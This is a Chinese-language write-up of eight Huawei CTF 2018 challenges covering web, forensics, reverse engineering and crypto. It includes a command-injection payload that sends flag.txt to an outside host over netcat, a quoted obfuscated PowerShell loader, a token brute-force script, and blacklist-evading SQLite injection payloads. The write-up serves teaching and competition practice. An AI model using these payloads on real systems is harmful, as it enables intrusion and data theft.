导语:本文将简要介绍在华为CTF 2018中面临的一些挑战。

挑战1 – 废弃的筒仓

类别:Web

这个挑战题目的页面向我们展示了一个表单,在输入框可以指定参数来ping我们输入的ip。页面提供了一个线索,告知我们flag在文件flag.txt中。

 image.png

我们尝试注入使用netcat建立反向连接的命令,127.0.0.1;nc reverse.sistec.es 8080。

我们验证了反向连接已经成功建立,我们可以通过这个反向的shell来读取保存flagflag.txt文件。

127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080

我们成功读取到了服务器上的flag

 image.png

挑战2 – PARANORMALGLITCH

类别:电子取证

这道题目是在JPG图像中找到flag。为方便起见,我们将使用gatos.jpg作为要分析的文件的名称。

 image.png

该文件的大小是670081 字节,

file gatos.jpg
gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3

我们可以使用一些签名搜索工具,例如binwalk,photorec和或者是foremost。

使用foremost工具,我们得到了相同的JPG图像,但大小为196951 字节。我们怀疑在JPG图像之后还隐藏着另一个文件或重要数据。

我们从偏移量196951中提取数据

dd if=gatos.jpg of=part2 bs=1 skip=196951

我们分析这个新的文件part2。很快,我们就看到有IHDR和IDAT字符串的存在,所以,看起来我们找到的这个文件应该是一个PNG图片。

xxd part2 |head
00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400  ........IHDR....
00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000  ................
00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300  .bKGD...........
00000030: 0020 0049 4441 5478 daec dde9 93a4 5776  . .IDATx......Wv
00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007  .....Yr...zC70..
00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2  ..pH..E.L)B!Ka[.
00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c  ...=....C/..#..l
00000070: 5914 456d 2629 919c 2139 43ce 7008 6200  Y.Em&)..!9C.p.b.
00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733  4.h.Z]]k..r...'3
00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa  +...h,3.F.>.....

我们将此文件的开头与另一个PNG文件或维基百科中显示的示例图片进行比较。

 image.png

我们看到这个文件丢失了PNG文件头的前4个字节(因此数据恢复程序没有识别出这是个PNG图片文件)。我们用xxd和cat把文件头的前四个字节添加进去。

echo 89504e47 | xxd -ps -r > pngheader
cat pngheader part2 > image.png

这个图片文件不是100%的正确,并且不是所有的看图软件都能正常打开,即使是这种情况,我们也可以使用GIMP正常打开查看图片并获得flag。

 image.png

挑战3 – 后门分析1

类别:电子取证

接下来的题目是分析一个操作系统是Ubuntu 16.04的受感染的虚拟机。

我们使用用户ctf访问服务器,然后使用su命令切换到服务器的管理员用户来进行更彻底的分析。

一开始我们收到一条错误的消息,这条错误信息告诉我们有一些东西被感染了。

 image.png

.bashrc文件的末尾我们看到有一个可执行文件,隐藏的是方式是尝试使用多次换行。

/bin/sh311.x

我们分析这个二进制文件并使用ltrace观察如何生成flag的字符串。

 image.png

挑战4 – 后门分析2

类别:电子取证

第二个后门是我在使用ps查看了正在运行的进程后找到的。

 image.png

我们分析二进制文件/usr/sbin/psl并使用strings获取到base64编码过的字符串。

Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==

使用Auto Solver里的PatataUtils工具类,我们解码了 base64的内容并获得了flag。

在复杂的编码方式中,必须使用XOR 0x33对文本进行解/解码。

 image.png

PS:受感染的二进制文件是 /bin/ls  

image.png

挑战5 – 网络犯罪分析

类别:电子取证

在此挑战中,我们被要求分析恶意软件do_not_remove.bat然后找到flag

在第一次分析中,我们发现它是一个powershell脚本,它执行了Base64中编码过的代码。

Invoke-Expression $(New-Object IO.StreamReader (
$(New-Object IO.Compression.DeflateStream (
$(New-Object IO.MemoryStream (,
$([Convert]::FromBase64String("...")))), 
[IO.Compression.CompressionMode]::Decompress)), 
[Text.Encoding]::ASCII)).ReadToEnd();

我们解码base64中的文本得到了一个二进制文件,如果我们查看代码,我们接下来回看到程序是如何使用CompressionDeflateStream函数的。

base64 -d b64.txt > bin
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code

image.png

此代码中最可疑的部分是在User-Agent中发送的十六进制字符串。在尝试对其进行解码之后,我们可以发现,从1f 8b 08 00字节开始是另一个gzip文件 

echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc
Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}

挑战6 – ARMOURED KITTEN

类别:逆向

这个题目是逆向一个ARM64的二进制文件获得flag

file re1
re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/Linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped

我们首先遇到的第一个困难是我们无法在x64架构的机器上原生的执行这个二进制文件。我们可以安装qemu来执行并调试这个程序。

当我们执行二进制文件时,程序会等待我们输入一些文本并检查输入的内容是否正确。

qemu-aarch64 ./re1
wat do u want? patatas
oh noes! you no haz flag!

使用反汇编程序(r2gdbIDA)分析二进制文件时,我们看到输入正确的内容时程序输出的文本是

yes, u got it! submit!

我们使用IDA X-Rays来反编译代码并进一步理解二进制文件的操作。

 image.png

我们看到一系列循环操作,其中验证我们输入的字符是否正确的逻辑符合一系列线性方程。这个挑战与baby-re非常相似,我在2016年在DEFCON的CTFC的分类中解决过这个问题。

这个挑战可以通过工具angr快速解决,或者用更费力的方式,例如提取方程并用数学软件来解决。

在这种情况下,在用angr测试后没有获得我们想要的结果,因此我们转向PlanB并以尽可能最快和最自动化的方式提取所有的方程。

调试我们使用的程序:

qemu-aarch64 -g 3000 ./re1

使用针对ARM平台的p3da插件peda-arm执行gdb-multiarch 

在启动GDB之后我们使用target remote localhost:3000

 image.png

在这个过程中,我们获得了完成方程的值的存储器地址,第一个是0x48d010程序从这个地址的内存中提取flag的每个字符的系数。第二个是0x520A90,程序从这个地址的内存中提取等式必须满足的值。

这些值不在单个存储器地址中,但是对于循环中的每次迭代,这些值是从不同的存储器地址获得的。

使用radare2iS 命令,我们获得了下面这些文件所在文件的偏移量:

> iS
[Sections]
00 0x00000000      0 0x00000000      0 ---- 
01 0x00000190     32 0x00400190     32 -r-- .note.ABI_tag
...
23 0x0007d000 641688 0x0048d000 641688 -rw- .data
24 0x00119a98      0 0x00529a98   5952 -rw- .bss
25 0x00119a98      0 0x0052b1d8     48 -rw- libc_freeres_ptrs
...

因此,我们得到了0x7D0100x110A90

我们用dd剪切二进制文件并提取这些部分:

dd if=re1 of=bin1 bs=1 skip=512016
dd if=re1 of=bin2 bs=1 skip=1116816

对于20个未知数,在最好的情况下我们只需要20个方程,没有必要提取程序评估的数千个方程,因此,我们只提取前120个。

import struct
bin1 = open('bin1','rb')
data1 = bin1.read()
bin2 = open('bin2','rb')
data2 = bin2.read()
var = 'ABCDEFGHIJKLMNOPQRST'
var_maxima = 'A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T'
final_equation = ''
for k in range(0,3):
    for l in range(0,5):
        for m in range(0,2):
            for n in range(0,4):
                equation = ''
                xx = 0
                for ii in range(0,20):
                    i = ii + 20*n + 80*m + 160*l + 800*k
                    x = struct.unpack('<L', data1[4*i:4*i+4])[0]
                    if x!=0:
                        equation += '(%s*%s)' % (var[ii], x)
                        if(ii<19):
                            equation += "+"
                j = n + 4*m + 8*l + 40*k
                y = struct.unpack('<L', data2[4*j:4*j+4])[0]
                final_equation += '%s=%d,' % (equation,y)
final_equation = final_equation[:-1]
print('linsolve([%s],[%s]);' % (final_equation,var_maxima))

我们执行脚本并获得了方程式,我们将这些方程式传递给wxmaxima来解方程式。

python re1.py |maxima
Maxima 5.42.1 http://maxima.sourceforge.net
using Lisp GNU Common Lisp (GCL) GCL 2.6.12
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
The function bug_report() provides bug reporting information.
(%i1) 
solve: dependent equations eliminated: (24 23 22 21)
(%o1) [A = 109, B = 101, C = 32, D = 99, E = 97, F = 110, G = 32, H = 104, 
I = 97, J = 122, K = 32, L = 117, M = 114, N = 32, O = 102, P = 108, Q = 97, 
R = 103, S = 122, T = 63]

image.png

我们获取到了Flag的十进制格式,我们将其转换为ascii来获取flag的文本。

me can haz ur flagz?

挑战7 – CRYPTOKENITA

类别:密码学

在此挑战中,我们提供了nodeJS应用程序的源代码。目标是找到一个正确的令牌来获得flag

source.js

总之,我们需要生成一个8字节的令牌,并且以base64编码格式发送。

以下是该应用程序中最重要最关键的代码部分。

function tokenGen() {
    return crypto.randomBytes(8).toString();
}
app.post('/guess', function (req, res, next) {
    var token = req.body.token;
    // No hack
    if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) {
        res.render('hacker', {title: title});
        return;
    }
    token = Buffer.from(token, 'base64').toString('utf8');
    if(req.session && req.session.token && req.session.token === token) {
        res.render('flag', {title: title, flag: config.flag});
        return;
    }
    res.render('no_flag', {title: title});
});

如果我们详细分析代码,我们将观察到在toString函数中它使用了UTF8编码。此编码是多字节的,2个字节用于表示字符0x80到0xff,因此使用字面上的0x80到0xff会返回编码错误。

 image.png

知道了这一点,我们就只需要用0xffffffff这个值进行多次无效尝试,直到我们得到flag

import urllib.parse
import requests

user_agent = 'Mozilla/5.0'

for i in range(10000):
	
	headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'}
	url = 'http://54.36.134.37:32009'
	r = requests.get(url, headers=headers)
	data = r.text
	print(urllib.parse.unquote(r.cookies['connect.sid']))

	url2 = 'http://54.36.134.37:32009/guess'
	headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'}
	headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid']
	r2 = requests.post(url2, data='token=//////////8', headers=headers)
	data2 = r2.text
	print(data2)

	if  'No flag' not in data2:
		break

image.png

image.png

挑战8 – LOGINDENOID

类别:Web

这个挑战有两个部分。首先,我们需要在登录页面以任何方式进行身份验证。跳转到后台页面后,你将不得不利用SQL注入来提取管理员凭据然后获取flag

 image.png

登录绕过

登录请求有3个参数:

· username

· password

· loginMethod

在用户名或密码中未找到任何注入后,我们尝试修改loginMethod。

如果我们将loginMethod参数修改为其他字符串,我们会得到以下错误,表明此方法或函数不存在

user[loginMethod] is not a function

使用一些词典进行模糊测试后,我们发现使用构造函数这个字符串获得了不同的响应。

Class constructor User cannot be invoked without 'new'

最后,我们__defineGetter__设法进行登录绕过。

image.png

SQL注入

登录到后台,我们就可以选择查看新闻。

 image.png

/news/item?id=1

通过简单的单引号注入,我们发现返回错误Database error,因此可能存在SQL注入。

第一步是尝试一个布尔注入,在测试了SQL的一些字符或payload后,我们意识到这个应用程序有阻止SQL注入攻击的规则,返回了错误Blacklisted

其中一个被阻止的字符是空格,因此我们应该在不使用它们的情况下构建SQL注入查询语句,比如尽可能使用括号。

/news/item?id=2'and'1  (BOOLEAN TRUE, devuelve la noticia 2)
/news/item?id=2'and'0  (BOOLEAN FALSE, devuelve 'Noticia no encontrada')

基于此布尔注入,我们必须构造更复杂的查询语句才能从数据库中获取信息,首先,我们需要确定服务器使用的是哪种类型的数据库。

这里最重要的方法之一是尝试使用MID函数(SUBSTRING的别名),不过服务器返回了错误,这表明所服务器使用的数据库引擎不支持这个函数。

经过长时间的调查后,确定数据库可以是SQLite。那我们就有使用GLOB功能的可能性了。

GLOB函数可以与通配符'*'或'?'一起使用。在这种情况下,不允许使用星号,因此我们可以使用询问字符'?'。

这个通配符等同于一个字符,因此要发现字段的大小,我们必须使用不同的长度进行暴力破解。

 image.png

入语句采用以下形式,替换TABLE,COLUMN和'?'的数量。

'and(SELECT(1)from(TABLA)WHERE(glob('????',COLUMNA)))and'1

一旦我们知道了要提取的字段的大小,我们就一个字符一个字符的进行猜解,假设某些字符或单词被禁止,我们在找不到匹配的情况下可以使用其他方法。

提取表名:TABLE ='sqlite_master'COLUMN ='tbl_name'

· news

· users

· admins

· sqlite_sequence

admins表的列:

'and(SELECT(1)from(sqlite_master)WHERE(glob('admins',tbl_name)and(glob('????',sql))))and'1
CREAT??TABLE?admins?ID?INTEGE??PRIMARY?KEY?AUTOINCREMENT??u53rn4m333?TEX??NO??NUL??UNIQUE??p455w0rddd?TEX??NO??NUL??

· u53rn4m333

· p455w0rddd

我们最终从admins表中提取了用户名和密码

 image.png

查看密码字符串的长度,我们可以假设它是一个SHA256哈希字符串,我们使用hashcat来进行破解。

 image.png

得管理员用户名和密码后,我们通过修改loginMethod的值为loginAdmin进行登录。

 image.png

登录成功后,我们就得到了flag

源链接

Hacking more

...